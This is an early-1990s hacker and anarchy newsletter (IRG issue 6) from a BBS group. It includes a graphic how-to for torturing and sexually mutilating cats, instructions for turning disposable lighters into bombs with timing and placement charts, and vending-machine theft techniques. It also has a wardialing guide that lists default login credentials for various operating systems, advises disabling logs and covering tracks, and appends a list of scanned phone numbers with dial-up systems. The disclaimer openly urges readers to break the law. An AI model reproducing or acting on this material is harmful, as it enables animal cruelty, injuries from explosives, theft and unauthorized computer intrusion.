1307 lines
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1307 lines
58 KiB
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// /////// // ////
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International Rogues Guild and Shadow/Net Presents...
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IRG Newsletter v6.00 Released: 2/20/91
|
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Written by: Haywire Edited by: Haywire
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Hi everyone,
|
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Heres IRG number 6 for ya, more people are getting interested
|
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and I am happy about it. Theres alot of good stuff this time(like always,
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hehe) so read up.
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5.01 Table Of Contents
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----------------------
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5.01...................................Table Of Contents
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5.02...................................Disclaimer
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5.03...................................More About IRG
|
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5.04...................................CyberPunk Follies
|
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5.04b..................................State Of The Union Reply by Psycho
|
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5.05...................................Letters From Prison
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5.06...................................Planned Parent Hood For Cats by Damaged
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5.07...................................Disposible Lighter Bombs by Psycho
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5.08...................................Vending Machine Revenge by Psycho
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5.09...................................The Art of Scanning by Control-S
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5.10...................................Hacking CompuServe by Control-S
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5.11...................................Dos Trips by Wasteland Warrior
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5.12...................................Running The ShadowNet
|
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5.13...................................VMB's From Hell
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5.14...................................Hellos and Goodbyes
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5.02 Disclaimer
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---------------
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All items in this newsletter are meant for informational purposes.
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It is written to encourage illegal activities, I hope the reader is inspired
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to break the law after reading all IRG Information. Of course the authors of
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this newsletter cannot be held for anything that the reader does.
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WARNING: Remember ALL explosives are dangerous, DO NOT, I repeat, DO
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NOT mess around with any of the recipes for explosives, EVER! These recipes
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are real, they can kill you, and anyone else. Make sure you know what you're
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doing. Otherwise its your fault.
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5.03 More About IRG
|
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-------------------
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We have one new ShadowNet member this issue and a new journalist.
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Hopefully you people are getting the idea and starting to write things for ANY
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group, just sharing the wealth of info out there. Until next time...
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IRG Members Rank
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----------- ------
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Haywire IRG and ShadowNet Leader
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Wasteland Warrior Part Time Programer,Game Winner,IRG Member
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Psycho (615)ShadowNet Member
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Dr. Digital (619)ShadowNet Member
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Damaged IRG's "Sick" Member
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Journalist
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----------
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Haywire
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The Spectral Demon
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Control-S
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Kryptic Night
|
||
Psycho
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Damaged
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||
Wasteland Warrior
|
||
|
||
Thats about it, if you feel like becoming a member of either IRG or
|
||
ShadowNet. Please call one of the IRG nodes. If you would like to become and
|
||
IRG node again contact one of the IRG nodes.
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||
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5.04 CyberPunk Follys
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---------------------
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I have only gotten one reply to my "State Of The Union" speech, it
|
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seems that either people don't care what I say or they areto lazy to call up my
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board and give me a response. It seems that the Hacking community has
|
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turned to shit more then I had thought. But maybe people will get the idea one
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day and move on to a higher level.
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5.04b State Of The Union Reply by Psycho
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----------------------------------------
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In response to Haywire's "State of Hacking Today" editorial in IRG #05, I would
|
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like to make the following comments:
|
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I agree with Haywire 100%- This shit over "Hacker Wars" has gotten WAY out of
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hand... What in the hell is wrong with people?!? Isn't hacking supposed to be a
|
||
means by which we SHARE information and spread the wealth of knowledge? We
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hackers have before us an incredible realm of POWER- This has been exhibited
|
||
time and time again; Everytime you hear of some kid who hacked into NASA or
|
||
someplace and got caught, there are probably dozens more getting away with
|
||
something just as spectacular.
|
||
|
||
In short, we have the ability to manipulate and control the flow of ALL manner
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of electronic information. The authorities are starting to realize the actual
|
||
scale to which systems can be hacked into, but it is far too late to do
|
||
anything about it. For every hacker that gets busted, five more take his place-
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and it's a never-ending cycle.
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|
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United and working together as one, hackers have the propensity to virtualy
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control (or shut-down) many facets of our society on a GLOBAL scale: banking,
|
||
sattellite communications, military, law enforcement, etc., etc.... But instead
|
||
of working together, the hacker community is splintered into many factions, all
|
||
more or less working against each other. Instead of liberating information for
|
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all, we are instead battling it out in our own little area codes, searching for
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short-lived fame.
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I'm not saying that we should shut down all systems and holds the world's data
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for ransom; That would be futile. Instead, we need to help educate those with
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an interest in hacking but lack experience. Not that we should toss info out to
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anyone- There are still (and always will be) certain type of people that "just
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don't get it"... A little information and a lot of stupidity can be a dangerous
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thing with this type of "wanna-be". By a careful process of weeding out these
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types, the data will begin to flow into the hands of those that can best put it
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to use.
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So, in 1991, let's try to unify and SHARE our expertise- And I think you'll
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find that the hacking/phreaking community will benefit from this like never
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before. Hats off to Haywire and everyone else involved with the IRG for
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publishing this fine newsletter and making an effort for change.
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-Psycho
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5.05 Letters From Prison
|
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------------------------
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I have been getting alot of stuff, this issue and I am very happy about
|
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it. The more the better, it always seems like I never have enough stuff. This
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||
issue is pretty long getting into alot of good stuff. This is a great issue
|
||
check it out...
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5.06 Planned ParentHood For Phelines by Damaged
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-----------------------------------------------
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Phile #1 of a series Unknown
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@-@-@-@-@-@-@-@-@-@-@-@-@-@-
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- @
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@ Planned ParentHood for -
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- @
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@ Phelines -
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- @
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@-@-@-@-@-@-@-@-@-@-@-@-@-@-
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WRiTTEN BY:
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Damaged
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2.14.91
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iNTRO
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Ok dudes this is my phirst seriers of Anrkey philes on Kat's. Don't you
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just hate those little pussy's, i sure in the hell do. Anyways, the phile
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is all How to do it yourself Home Kat abortions. Why the reason for kats,
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well i hate the goddamn shitheads for specific reasons. That i won't get
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into. Well enjoy the phile and have phun.
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SHiT YA'LL NEED
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Propane torch
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Koat Hanger
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Gloves <should be able to resist heat>
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Rope <optional>
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Nails <optional>
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Hammer <optional>
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Drugs
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& a Kat of kourse
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GET'N STARTED
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Ok, now get the above required stuff. Now toke a little, phry or whatever
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get's ya going. Phirst off take the koat hanger and bend it into a phairly
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straight wire. Take the koat hanger and make a noose on one end. You need
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to make sure that the noose is small enuf to phit into da Kat's Kunt.
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PHUN PART
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Ok now go out and phind yer victim. Well you have phound a kat, put on
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the gloves so you don't get scratch to hell and back. Now this is where
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the optional shit komes in. You kan either Nail the phucker to the ground
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by hammer'n nails thourgh it's pheet. This technique i phind to be the most
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effective. Or if your one of those squemish types (why the phuck are you
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read'n this then??) you kan use the rope. Just spread the phucker's legs
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to the phour korners. Tie the rope around each paw and tie to something
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else. Now you have the kat down supplied and bagged. Reach over and grab
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your nice instrument(koat hanger) and also grab the torch. Now you should
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be still wear'n the gloves, if not jack'n off will be a little harder phor
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you to do now. Anywayz, heat up the end of the noose with the oval end or
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however the phuck you made it. Wait until the shit is shine'n real bright
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orange or yellow. Some koat hangers will even turn white, now make sure
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you don't melt the damn noose. duh Insert the heated end of the noose into
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the kat's kunt, now jam the phucker all around, make sure you get every last
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one of those bastard kittens outta there. After you have phinished, unnail
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or untie the kat. Now i doubt it will walk away, but if you know who owns
|
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that kat, be a phriendly neighbor and drop it off at their house phor them.
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Now you really don't know which Kat is or not pregneat so hell try evey one
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of those pussy's. Now this also works for dogs, and even try this on yer
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girlphriend if you even knock her up.
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OTHER SiCK SHiT
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Now some other phun shit to do while do'n this. Bring along a tape recorder
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or a kamcorder and record the shit. Go home listen or watch it over and
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||
over again. Loads of phun dude. Now for you sick perverts, take a knife
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and just make the kat's kunt big enuf to slide yer dick in, hell a phree
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||
phuck. You kould also bang the phucker up the ass to if ya wanted. The
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best part about this is that it's like bust'n a virgin everytime and you
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don't have to wear a kondom either! Oh yea while ya do this phry really
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hard too.
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Yo'S & PHUCK oFF'S
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||
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Yo's to LoL-PHUCK, THG for thier latest kracks, Sam Brown for all his nice
|
||
back doors to Emulex, METALLiCA, Lutzifer, and all who think that they deserve
|
||
some yo's (yea right)
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||
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Phuck off's to PE Give it up, THG got yer ass Kicked, Acid Alliance, QSD
|
||
lamers, Alto's you need to UPGRADE big phuck'n time, leeches, and all those
|
||
K-Rad K0de KiDZ who do noth'n but phuck'n leech as hell and get Kaught too.
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||
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KALL THESE KiCK'N SiSTEMS
|
||
|
||
Insanity Lane..........619.591.4974 -=> IRG HQ <=-
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||
Zanaphopia.............404.642.8703 -=> AoA HQ <=-
|
||
The Corrupt Society....619.630.8450 -=> NHA HQ <=-
|
||
Demon's Crypt..........516.791.1427 -=> SoC HQ <=-
|
||
Phreak Accident........404.977.4272
|
||
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Latur dudes
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Damaged
|
||
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[--------------------------------- EOF ----------------------------------]
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5.07 Disposable Lighter Bombs
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-----------------------------
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**************
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* *
|
||
* Disposable *
|
||
* Lighter *
|
||
* Bombs *
|
||
* *
|
||
**************
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by PSYCHO
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Written EXCLUSIVELY for The IRG
|
||
|
||
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|
||
For those of you who are budding anarchists or Mad Bombers, but don't feel
|
||
comfortable cooking up nitroglycerine in your mom's kitchen or making pipe
|
||
bombs in the garage, here's a fairly decent alternative that is safe, easily
|
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transported, cheap, and effective if used properly.
|
||
|
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All you need is a good supply of those shitty disposable lighters, like a Bic
|
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for instance. These can be bought cheaply (or stolen, if you're so inclined) at
|
||
every damn convenience store between here and East Camelfuck, Iraq. Prices
|
||
range from about 39 cents for averaged-sized lighters, up to about $1.79 for
|
||
the extra-large ones, such as the Cli-Cla (my personal favorite- it is a HUGE
|
||
disposable, holding about 65% more butane than the large Bic! They're available
|
||
at fine truck stops everywhere...). Here is a chart to help you decide which
|
||
lighter is best for your explosive needs:
|
||
|
||
Lighter | Size of Explosion *
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||
---------------------------|----------------------------------
|
||
Mini Bic | Small; 4 to 6 inch fireball
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||
|
|
||
Scripto | Medium; 6 to 12 inch fireball
|
||
|
|
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Regular Bic | Large; 12 to 18 inch fireball
|
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|
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||
Cli-Cla | HUGE; 24 to 30 inch fireball
|
||
--------------------------------------------------------------
|
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*(NOTE: These sizes are only an APPROXIMATION based on past observances-
|
||
fireball size and intensity may be affected by such factors as
|
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atmospheric pressure, wind speed, humidity, manufacturing defects, etc.
|
||
Your results will vary.)
|
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|
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As you can see by the above chart, some of these lighters can be quite
|
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powerful. To give you a better frame of reference, consider the Mini Bic to be
|
||
as powerful as an average firecracker, the regular Bic as powerful as an M-80
|
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firecracker ( a REAL M-80... You can only get them illegally in this country-
|
||
they are equal to 1/4 stick of dynamite), and the Cli-Cla as powerful as 1/3 to
|
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1/2 stick of dynamite, under perfect conditions.
|
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PREPARATION AND METHODS OF DETONATION
|
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|
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To prepare a lighter for use as an explosive device, the only real modification
|
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that must be made is the removal of the flame guard. The flame guard is the
|
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semi-elliptical piece of metal that is found on top of the lighter which
|
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encases the gas jet and flame adjustment mechanism (if present). This is easily
|
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removed by using a screwdriver (or even a finger) to pry away one edge of the
|
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flame guard, and thus popping the whole thing loose.
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With the above out of the way, you are ready for the placing of the device.
|
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Keep in mind that since the laws of physics declare that a force will always
|
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follow the path of least resistance, some forethought should go into the
|
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placement of the device for best results. If you just want a purely-for-the-
|
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hell-of-it explosion, the lighter can be placed on open ground, but for a
|
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specific purpose, such as the destruction of an object, opening of a door,
|
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etc., the lighter will need to be wedged as tightly as possible against the
|
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target.
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The only "timing device" you will have, such as it is, is the actual flow of
|
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gas from the lighter. Some lighters have no flame adjustment mechanism, and
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thus you have very little control over when the explosion will take place. On
|
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lighters where the control is present, you will be able to approximate the
|
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point at which detonation will occur. This is accomplished by turning the
|
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adjustment wheel toward the <+> or <->, with the <+> side naturally exploding
|
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faster. In some lighters, the maximum <+> setting can be over-ridden to allow
|
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the butane to escape very quickly, but keep in mind that the faster the gas
|
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escapes, the lower the power of the resulting explosion. You may find some
|
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experimentation necessary with different types of lighters you plan to use
|
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before you can become familiar with the approximate detonation times.
|
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Once you have decided on a target and length of time needed to escape and/or
|
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take cover, you are now ready to ignite the lighter. The most important element
|
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to keep in mind it that the gas release lever MUST remain depressed for the
|
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duration of time until the explosion occurs. There are many methods for
|
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assuring this, as pointed out below:
|
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A. Wedge the lever in the open position by placing an object between it and
|
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the striking wheel.
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|
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B. Glue the lever down with a glob of Crazy Glue.
|
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|
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C. Tape the lever down with aluminum strapping tape (regular tape will not
|
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work due to rapid melting).
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D. Wire the lever down with a few inches of light-gauge copper wire.
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These methods are not the only absolute choices you have, but I have always had
|
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good luck with them.
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Once the lever has been secured, you need to act as quickly as possible, to
|
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ensure as little butane as possible is wasted. Using another lighter, ignite
|
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the stream of gas escaping from the one you want to explode. Another factor you
|
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might want to consider for timing is the physical direction of the tank of the
|
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lighter in relation to the flame- If the flame is above the tank (as in normal
|
||
operation), it will take much longer for the heat to melt the plastic and cause
|
||
the detonation than it would if the tank was placed at a 45-or-so degree angle
|
||
with the flame being BELOW the tank. Here is a chart of approximate times based
|
||
on positioning of lighter and gas flow:
|
||
|
||
|
||
Gas | Lighter Upright | Lighter Inclined
|
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Flow | (flame above tank) | (flame below tank)
|
||
==================================================
|
||
MIN. | 5-10 minutes | 3-5 minutes
|
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--------|---------------------|-------------------
|
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MED. | 3-5 minutes | 1-3 minutes
|
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--------|---------------------|-------------------
|
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MAX. | 1-3 minutes | 60 seconds or LESS
|
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|
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Again, these figures are APPROXIMATE- Times will vary according to many factors
|
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including, material used in manufacture, quality of butane, etc.
|
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|
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Using the above chart as a guide, plus some experimentation on your own, you
|
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should be able to discern timing factors relating to your individual needs in
|
||
certain situations. Of course, lighting the butane and allowing it to melt the
|
||
plastic tank casing is not the only method for detonating disposable lighters-
|
||
other possibilities include:
|
||
|
||
* Affixing a large firecracker or other small explosive device to the tank
|
||
|
||
* Placing the lighter in an open flame (campfire, fireplace, etc.)
|
||
|
||
* Placing the lighter on, in, or near a heat source (engine block, tail
|
||
pipe, oven, space heater, etc)
|
||
|
||
As you can see, however and wherever you choose to use a lighter as an
|
||
explosive, it is a cheap and (usually) ample solution. Always use great care
|
||
and common sense when handling ANY explosive device, and have your escape route
|
||
or cover picked out well in advance. Also be aware that, due to the materials
|
||
used in it's construction, an exploding lighter will hurl bits of metal and
|
||
molten/flaming plastic, sometimes for several yards in all directions.
|
||
|
||
HAPPY BOMBING!
|
||
|
||
Thanks to: Haywire & The MIGHTY IRG!
|
||
|
||
Special Thanks to: The Phantom Fireman for his pyromania expertise.
|
||
|
||
|
||
5.08 Vending Machine Revenge
|
||
----------------------------
|
||
|
||
|
||
VENDING MACHINE REVENGE
|
||
|
||
|
||
by Psycho
|
||
|
||
Written for the IRG
|
||
|
||
|
||
|
||
How many of you have ever been ripped off by a vending machine? I would guess
|
||
that EVERYBODY, at one time or another (and probably MANY times), has met up
|
||
with a "change eater". This can be frustrating as hell, especially if you're
|
||
hungry or thirsty and the machine took all the change you had. Worst of all,
|
||
many times the owner of the machine takes his sweet time getting it fixed-
|
||
After all, any money you lose is pure profit for him. The following is a
|
||
collection of various techniques that have been used with great success to
|
||
extract revenge on these money-grubbing bastards, and can put a few bucks in
|
||
your pocket as well. I guess some unscrupulous person COULD use this
|
||
information just to rip off other hapless consumers, but that is their
|
||
discretion (ha ha!).
|
||
|
||
1.0 SLUGGING
|
||
This is one of the most common forms of Vending Machine Revenge (from
|
||
herein referred to as VMR), and also one of the safest. Basically this
|
||
involves putting something into the machine that is not a coin, but the
|
||
machine will think it is. Experimentation of a high degree will be in order
|
||
here, as all machines have different levels of sensitivity. Some of the
|
||
more common items used include: metal washers, arcade tokens, foreign
|
||
coins, plastic discs, etc. I think you get the idea. I have even heard of
|
||
people using a bench grinder to file pennies down to dime size, but that
|
||
seems like an awful lot of work for 9 cents, but how you want to spend your
|
||
time is up to you. Again, you'll have to experiment a lot with this one. If
|
||
anyone finds some that work particularly well, leave me a message on the
|
||
IRG/Insanity Lane node, and I'll draw up a chart for a future issue.
|
||
|
||
|
||
2.0 TIPPING
|
||
Another quite popular method, this is accomplished by physically tipping
|
||
the machine forward as far as you can get it, hence the name. This works
|
||
best on those machines that have potato chips and stuff dangling from long
|
||
metal rods, and also those that use spiral rods to hold the stuff. If you
|
||
want to use this method of VMR to the fullest, it's best to take along a
|
||
couple of stout friends. Reason being, you will get the best results by
|
||
practically putting the front of the machine down to the floor, and some of
|
||
these bastards can be REAL heavy. So, DON'T try this one alone (unless you
|
||
look like Arnold Schwarzeneggar), and make sure you do it quietly and in an
|
||
out of the way area to avoid getting caught.
|
||
|
||
3.0 ROCKING
|
||
The Rocking method for VMR is similar to the above, but is seems to work
|
||
best on coke machines which dispense cans. To get free cokes, you rock the
|
||
machine back and forth, really banging the hell out of it. This confuses
|
||
the machine's coin mechanisms, and it will usually start spitting out
|
||
cokes. This VMR method will also require the assistance of friends, for
|
||
obvious reasons (coke machines are the heaviest of all vending machines).
|
||
This one must also be executed in a very deserted place, due to the
|
||
excessive noise level created. You'll also want to remember to take along
|
||
some backpacks, pillowcases, etc., to put your free cokes in. I have seen
|
||
machines completely emptied using this method.
|
||
|
||
4.0 PLUGGING
|
||
So far, we've only discussed methods with which you can obtain free snacks-
|
||
Now, here's one that can net you some good pocket change. Unfortunately,
|
||
this will only work as described on newer coke machines. Perhaps with
|
||
experimentation, it can be adapted for use on other machines. Plugging is
|
||
accomplished by doing just that- you use something which will get hung in
|
||
the coin slot, such as a penny, slug, etc., but will still fall through
|
||
when the coin return is pressed. On newer coke machines, the coin return is
|
||
a long piece of horizontal metal that presses straight down. After
|
||
inserting your plug, use a flat-blade screwdriver to bend the coin return
|
||
bar so that it cannot be depressed. Now, take the rest of the day off and
|
||
do whatever. When you return later that night, use your screwdriver to bend
|
||
the return lever in the other direction. When you press it down- JACKPOT!
|
||
You get all the coins that other people have "lost" that day. Rotate among
|
||
different machines, and don't plug the same one more than once a week to
|
||
obtain best results. By doing this to enough machines in various locations,
|
||
it's possible to make around $100 PER DAY (the average take for one machine
|
||
is usually around $5). Another good place to do this occasionally is coke
|
||
machines in expensive hotels, since they usually inflate the price of their
|
||
drinks by 50% over normal machines. Be extremely careful and don't get TOO
|
||
greedy, and this method is very safe.
|
||
|
||
5.0 JAMMING-1
|
||
This type of VMR is one of the best for getting lots of free stuff. What
|
||
you do is actually jam the "product chute" (where the goods come out). Any
|
||
manner of things can be used to do this. For instance, open the little door
|
||
on a coke machine where the cans come out. Now, take a stick, huge wad of
|
||
paper, etc., and cram it as far up into the machine as you can comfortably
|
||
reach. This will block the arrival of anyone's purchase, and you only have
|
||
to pull out whatever you blocked it with on your return to retrieve the
|
||
stuff. On cigarette machines, you can even put tape over the side slot
|
||
where the smokes are dispensed to accomplish this. As in some of the above
|
||
methods, experimentation will be in order here to learn about the machines
|
||
in your area. This is a fairly safe method of VMR.
|
||
|
||
6.0 JAMMING-2
|
||
This is the same as the above method, but instead you jam the change return
|
||
slot. It's not as profitable as screwing up the coin return, but hey- it's
|
||
FREE money. You may have to use a small wire to accomplish this on machines
|
||
that have a small door that opens inward on the change slot. Again, if done
|
||
smartly and not too often to the same machine, this VMR method is safe.
|
||
|
||
7.0 ZAPPING
|
||
Personally, I have never been able to get this one to work, but I know
|
||
people that swear by it and say they use it all the time. Also known as
|
||
"shorting", this type of VMR involves locating the socket where the machine
|
||
is plugged in, and rapidly working the plug back and forth, causing the
|
||
electronics in the machine to screw up. I'm told it only works on machines
|
||
that have an LED display showing the amount you've dropped in. One person
|
||
claims to have "maxed-out" the display at $9.99 and got that much OUT of
|
||
the machine when he hit the coin return! Like I said, I've never been able
|
||
to do this, but there are lots of people who claim it can be done.
|
||
Experiment and find out for yourself, and drop me a line if you get it to
|
||
work.
|
||
|
||
8.0 KILLING
|
||
This isn't as drastic as it sounds- It actually means that you unplug the
|
||
machine, thus "killing" the power to it. Some machines, when unplugged,
|
||
will simply NOT return any coins. And, you'd be surprised at how many
|
||
people will go ahead and stick money in a machine, even if it's not lit
|
||
up... And most people won't look for the plug to check it, either. This is
|
||
a very safe, quiet method that has been proven to work on certain machine.
|
||
As before, experiment with machines in your local area.
|
||
|
||
Well, that should be enough ideas to get you started- I'm sure there are many,
|
||
many more. If you have a particular favorite, leave me e-mail on Insanity Lane
|
||
and I'll include them in any future updates of this article. In the meantime,
|
||
just remember not to get too greedy, and you can have a tidy little income from
|
||
your VMR exploits.
|
||
|
||
Thanks go to: Haywire & the IRG for publishing the newsletter and allowing me
|
||
to write this article.
|
||
|
||
Special thanks to: The Bubblegum Bandit, H.R. Puffenstuf, & Headhunter for
|
||
their input in compiling this article.
|
||
|
||
|
||
5.09 The Art Of Scanning by Control-S
|
||
-------------------------------------
|
||
|
||
|
||
+++++++++++++++++++++++++++++++
|
||
++ ++
|
||
++ The Art Of ++
|
||
++ *->> Scanning <<-* ++
|
||
++ ++
|
||
++ By: Control-S ++
|
||
++ ++
|
||
+++++++++++++++++++++++++++++++
|
||
|
||
|
||
This file is written for International Rogues Guild (IRG), and is
|
||
the second in a series of files aimed towards the begining hacker.
|
||
If you've been around a while, you will most likely find nothing
|
||
of use here.
|
||
|
||
|
||
Part 1: Scanning, the art of
|
||
Part 2: Scan-Pages v1.00
|
||
|
||
|
||
Disclaimer: This phile is for informational purposes only, and I
|
||
cannot be held responsible for the actions of anyone reading it.
|
||
|
||
WARNING: If the words "k-kewl", "d00d", or "k-elyte" are a part of
|
||
your every day vocabulary, stop reading now, you are to far gone for help.
|
||
|
||
|
||
Scanning:
|
||
|
||
Scanning is one of the most legal aspects of hacking, and a lot of fun too.
|
||
I'm not saying that scanning IS legal, I really doubt you could get anyone
|
||
to answer that question. If the SS wants to bust you, they will do it for
|
||
scanning, or anything else they feel like, if theres no law against it,
|
||
they will make one up! You can't win, so I would just recommend that you
|
||
watch your step no matter what you do.
|
||
|
||
You can scan many diferent places, like x25 networks such as TymNet and
|
||
Tele(Sprint)Net or simply telephone exchanges, which is what I'll be
|
||
going into here: Scanning your local exchanges, I basically view this as
|
||
'getting to know your neighborhood' - its good to get an idea of how
|
||
many modems are in yer area, and just what sort of 'puters are connected
|
||
to them. You'll more than likely come across a few Unixes, and some VMS',
|
||
if you're lucky, you'll find a LAN or WAN, and be able to reach a bunch
|
||
of different systems from one number, some of these even connect to far
|
||
systems, some with outdials (which you can scan other areas through), or
|
||
gateways (where you can hook into even more systems and/or psn's).
|
||
|
||
|
||
|
||
Things You Need:
|
||
|
||
*Personal Computer - (almost any type) (Amiga recommended)
|
||
*Modem - (any baud) (at least 2400 recommended)
|
||
*A Wardialer or Scanning program - These are available for just about
|
||
every type of computer, but if you can't find one, they are easy to
|
||
write yourself, in either basic or even scripting. (I would highly
|
||
recommend you write your own, its a good way to get started programming
|
||
and you can customize it to do exactly what you want it to.)
|
||
*References - You should have on hand (or commited to memory) some
|
||
text files or manuals that will help you identify the systems you find,
|
||
and then give you and idea of how to get in and possibly use them.
|
||
(You can find detailed 'how to' files on just about any operating
|
||
system you might find in many Phrack newsletters, if you don't have
|
||
them all, get them!) - (See appendix A of this file for simple system
|
||
identification).
|
||
*A little common sense - sorry, you're on your own with this one.
|
||
|
||
|
||
Getting Started:
|
||
|
||
|
||
Using that little bit of common sense, you should fire up your computer
|
||
and modem. (If you can't get by this part, you should stop reading this
|
||
file immediately, run down to your nearest computer store, and trade
|
||
your PC in for a nintendo!)
|
||
|
||
For best results, you will want to do some sort of sequential scan, this
|
||
way you won't miss any carriers. If you are paranoid about leaving a
|
||
sequential patern, (the SS looks for this sometimes, trying to catch
|
||
'c0dez kidz') then you will have to make some part of the dialing random.
|
||
Making the whole scan random has a few problems; if you wan't to make sure
|
||
you get all of the numbers, and don't keep going over the same ones, you
|
||
have to keep track of all the numbers dialed and check it every time
|
||
before dialing. This is a big waste of time, the best way to do a sequential
|
||
scan without a patern, is to use a node dialer. Node dialers are common
|
||
in code hacking programs, and these are easilly modified to just scan.
|
||
The ideal configuration for a node dialer (the one I use) would be to
|
||
use 10 nodes, each scanning 1000 numbers in the same exchange, then just
|
||
randomize which node is dialed.
|
||
Example:
|
||
|
||
Node 1 Dials 0000->0999
|
||
Node 2 Dials 1000->1999
|
||
Node 3 Dials 2000->2999
|
||
Node 4 Dials 3000->3999
|
||
Node 5 Dials 4000->4999
|
||
Node 6 Dials 5000->5999
|
||
Node 7 Dials 6000->6999
|
||
Node 8 Dials 7000->7999
|
||
Node 9 Dials 8000->8999
|
||
Node10 Dials 9000->9999
|
||
|
||
ATDT <prefix>+<random node>
|
||
|
||
This method is just as fast as dialing them straight out, you don't
|
||
miss any numbers, re-dial any numbers, and you aren't using any
|
||
detectable dialing pattern (other than possibly 300 calls per hour).
|
||
|
||
|
||
Now that you've got your dialer configured, you need to find a good time
|
||
to scan. Again, if you're paranoid, you should stick to scanning
|
||
between 9AM and 5PM. This is for two reasons; 1) This is the when most
|
||
buisness calls are made, and in the huge volume, you will be that much
|
||
harder to detect. 2) If you DO get busted (can you imagine going to court
|
||
for such a thing? hah!) you will have a good case, as many people dial
|
||
sequential numbers durring this time, (re: telemarketers, surveys...).
|
||
This is also probably the time when you'll be at work/school/whatever,
|
||
so you won't be needing your CPU. (I personally scan while I'm asleep,
|
||
at night - I'm not that paranoid!) As a rule of thumb, don't watch the
|
||
dialer. For some reason, no carriers are detected while you watch the
|
||
scan in process. (I've heard rumors that this is the result of a minor
|
||
disturbance in the local space-time-continuum caused by invisible
|
||
emissions from the iris, but have seen no proof to back this theory.)
|
||
|
||
Okay, now you have your dialer ready and a good time to scan. Fire it
|
||
up and check on the progress every few hours. After you scan out a fair
|
||
sized list of carrier signals, you should give the dialer a rest, boot
|
||
your favorite term program, and investigate all your finds. Don't expect
|
||
to see something like this: "Welcome SysOp!" on the systems you check,
|
||
in fact, expect nothing. Many systems don't wave any banners or tell
|
||
you anything, you have to try and coax a responce out of them. Things
|
||
to try would be: <Carriage Return>'s, Ctrl-C, or any other Ctrl-'s,
|
||
(if you send a Ctrl-S, be sure to send a Ctrl-Q after it, because many
|
||
systems use this as a 'halt-output' switch, and you may discover the
|
||
right keys to press, but never know it because all output is stopped.
|
||
Try sending "..." or @'s, [Esc], and sending a hard break almost always
|
||
gets some responce, if none of the above work, try any character on
|
||
the keyboard, and words like "boot, start, run, load, logon, login".
|
||
If you have an external modem, keep an eye on the "Recieve Data" light,
|
||
if it flickers and you aren't getting anything echoed to your screen,
|
||
or possibly a lot of garbage characters, switch to 7E1, or call back
|
||
at a lower baud rate. (I've found a bunch of systems with modems that
|
||
will connect you at 2400, but the com ports will only transfer data
|
||
at 1200 or 300) If you try everything and can't get any responce at all,
|
||
it could be a company which turns its computers off at night, but
|
||
leaves the modem on (so call back in the day), a crashed system, or
|
||
a hacker who got your scan-call at 3am and wistled an unerring 8N1
|
||
into his reciever at a steady speed of 2400 bits per second. -heh
|
||
|
||
When(if) you identify the operating system, break out your references,
|
||
and try all the default accounts. If you get in on a default, but
|
||
you're unfamiliar with the particular OS, don't mess around, just log
|
||
off and do a little research, learn how to turn off all the logging and
|
||
cover your tracks, then go back and have phun to your hearts content.
|
||
|
||
Remember: keep notes on all the systems you find. You never know when
|
||
some ancient OS might come in handy, or what you might find that
|
||
relates to any system while trashing at a later date!
|
||
|
||
|
||
|
||
Apendix A:
|
||
|
||
The following is a short chart to help you identify operating systems.
|
||
|
||
System Prompt Default Accounts/Passwords
|
||
--------- -------------------- -------------------------------------
|
||
Unix login: -or- Login: root,daemon,bin,sync,uucp/(unpassworded)
|
||
|
||
VAX Username: SYSTEM/MANAGER -or- FIELD/SERVICE
|
||
|
||
DEC-10 User ID: 1,2/ ?
|
||
|
||
HP-?000 PLEASE LOG IN: HELLO,MANAGER,
|
||
|
||
Iris ACCOUNT ID? MANAGER
|
||
|
||
VM/CMS IBM VM/370 ONLINE logon (user id)
|
||
|
||
NOS FAMILY:
|
||
|
||
Primos "PRIMENET XX.X.XXX" login SYSTEM/SYSTEM -or- OPERATOR
|
||
|
||
|
||
|
||
* This hardly all-inclusive, only the ones I know from memory, you should
|
||
try and compile your own list, and add new systems to it regularly.
|
||
|
||
|
||
|
||
This has been a phree Speech publication, (C) pSp and IRG 1991
|
||
|
||
|
||
As usual, I can be contacted for whatever on any of the IRG nodes, or
|
||
IRG e-mailing addresses. Please mark all comments "Attn: Ctrl-S".
|
||
|
||
|
||
Control-S, Freelance G-File Artist (for hire)
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Scan-Pages v.99b:
|
||
|
||
Note: Unfortunately, I will be unable to finish my current scan in time
|
||
for the next IRG release, so I stuck this partial scan in to fill the
|
||
spot. Look for a complete scan in v1.00, next IRG.
|
||
|
||
|
||
NPA/NUM-BER Baud System/Comments
|
||
------------ ----- --------------------------------
|
||
619/259-0038 n/a ?/constant tone
|
||
619/270-0017 1200 ?/has echo on
|
||
619/270-0038 2400 ?/"Unauthorized User, Call Recorded and Disconnected"
|
||
619/753-0006 n/a ?/constant tone (may be loop)
|
||
619/753-0013 n/a ?/constant tone
|
||
619/753-0171 1200 ?/"D29 System C, Node XX, Line XX"
|
||
619/753-0172 1200 ?/"D29 System C, Node XX, Line XX"
|
||
619/753-0173 1200 ?/"D29 System C, Node XX, Line XX"
|
||
619/753-0174 1200 ?/"D29 System C, Node XX, Line XX"
|
||
619/753-0175 1200 ?/"D29 System C, Node XX, Line XX"
|
||
619/753-0176 1200 ?/"D29 System C, Node XX, Line XX"
|
||
619/753-0243 2400 ?/(sending a hard break makes hangup)
|
||
619/753-0287 1200 TRW Dialup
|
||
619/753-0288 1200 TRW Dialup
|
||
619/753-0548 1200 ?/"D29 System C, Node XX, Line XX"
|
||
619/753-0716 1200 ?/"ALPHA BASE, PLEASE LOG IN:"
|
||
619/753-0738 1200 ?/(just hangs up, maybe callback security?)
|
||
619/753-0911 1200 ?/(response to break ^Z)
|
||
619/753-0916 1200 ?/(response to break ^Z)
|
||
619/753-0933 1200 ?/(response to break ^Z)
|
||
619/753-0962 1200 ?/(response to break ^Z)
|
||
619/753-0981 2400 HP-?0000/PLEASE LOG IN: (try 'help')
|
||
619/753-1550 2400 PC-Plus Host Mode/ American Bamboo Society
|
||
619/753-2614 1200 ?/(absolutely no activity - a modem with no 'puter?)
|
||
619/753-2728 2400 "Host Name:" (^C will get "User ID:") (CIS, node ENC)
|
||
619/753-1654 2400 ?/Esc will get "ACCOUNT-ID: / PASSWORD:"
|
||
619/753-1079 1200 ?/"D29, System C, Node XX, Line XX"
|
||
|
||
|
||
|
||
|
||
This is hardly a complete list, its more or less the result
|
||
of boredom, and fairly random scanning through an outdial, it does
|
||
cover about 1/3 of the 619-753 exchanange, but I never finished because
|
||
of lack of time and other projects taking precedence. I would like
|
||
to try and organize a concerted effort to map out any/all NPA's, and
|
||
eventually publish a masterlist of all detectable carrier signals. Its
|
||
easy to do, and you can usually let yer computer scan while yer gone
|
||
